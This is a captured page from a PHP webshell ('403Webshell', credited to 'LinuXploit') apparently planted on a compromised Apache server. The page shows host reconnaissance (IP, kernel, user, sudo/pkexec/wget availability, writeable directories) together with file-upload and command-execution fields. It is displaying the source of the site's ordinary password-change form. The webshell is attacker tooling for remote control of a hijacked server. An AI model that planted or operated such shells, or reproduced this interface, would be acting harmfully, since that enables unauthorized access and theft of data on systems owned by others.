403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nymp/wwwdev/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nymp/wwwdev/mod/password_form.php
<?php include('_mod_security.php'); ?>
<?php
	if (has_role('driver')) :
		$_REQUEST['ref'] = 'my_routes';
	else :
		$_REQUEST['ref'] = 'locations';
	endif;
	$sql = "SELECT * FROM sys_users WHERE user_id = ".nz($_SESSION['user_id'], '0')." AND active = 1";
	$result = $db->query($sql) or die('Database Error!');
	if ($result->rowCount() > 0) :
		$row = $result->fetch(PDO::FETCH_OBJ);
	endif;
	if ($row->password_expired == 1) :
		$form_message = "Password change required!";
	endif;
	if ($_POST['ajax_event_submitted'] == '1') :
		$ar_err = array();
		if (empty($_POST['old_password'])) :
			$ar_err['old_password'] = 'Old password is required!';
			$err_flag = true;
		endif;
		if (!empty($_POST['old_password'])) :
			if (!password_verify($_POST['old_password'], $row->password)) :
				$ar_err['old_password'] = 'Old password is invalid!';
				$err_flag = true;
			endif;
		endif;
		if (empty($_POST['password'])) :
			$ar_err['password'] = 'New password is required!';
			$err_flag = true;
		endif;
		if (!empty($_POST['password']) || !empty($_POST['password2'])) :
			if ($_POST['password'] != $_POST['password2']) :
				$ar_err['password2'] = 'Passwords do not match!';
				$err_flag = true;
			endif;
		endif;
		if (!$err_flag) :
			if (!empty($_POST['password']) || !empty($_POST['password2'])) :
				$_POST['password_expired'] = 1;
			endif;
			$set = 	"password = ".$db->quote(trim(password_hash($_POST['password'], PASSWORD_BCRYPT))).", ".
					"password_expired = 0 ";
			$sql = "UPDATE sys_users set ".$set.
				"WHERE user_id = ".nz($_SESSION['user_id'], '0')." ";
			$db->query($sql) or die('Database Error!');
			$_SESSION['password_expired'] = 0;
			$form_message = "Saved sucessfully!";
			echo "<SCRIPT>";
			echo "alert('Saved sucessfully!');";
			echo "window.location.href = 'index.php?IX=".$_REQUEST['ref']."'";
			echo "</SCRIPT>";
		else :
			$form_message = "Errors found!";
		endif;
	endif;
	
?>

<script>
	$(document).ready(function()	
		{
			$(':input:not(.search)').change(function() {sheet_dirty = true; } );
		}
	)
</script>

<h1>Change Password</h1>
<?php echo form_message($form_message); ?>

<form style="" name="frm_password" id="frm_password" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<div class="tab_content" id="tab_content_basic_info" style="display:block;">
		<div class="input_column">
			<?php
				form_field('old_password', 'password', 50, 0, true, false, false, '', '', '', 'Old Password');
				form_field('password', 'password', 50, 0, true, false, false, '', '', '', 'New Password');
				form_field('password2', 'password', 50, 0, true, false, false, '', '', '', 'Re-enter New Password');
			?>
		</div>
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_button_strip('bottom', array('save_new' => array('show' => false), 'save_close' => array('show' => false) ), false); ?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit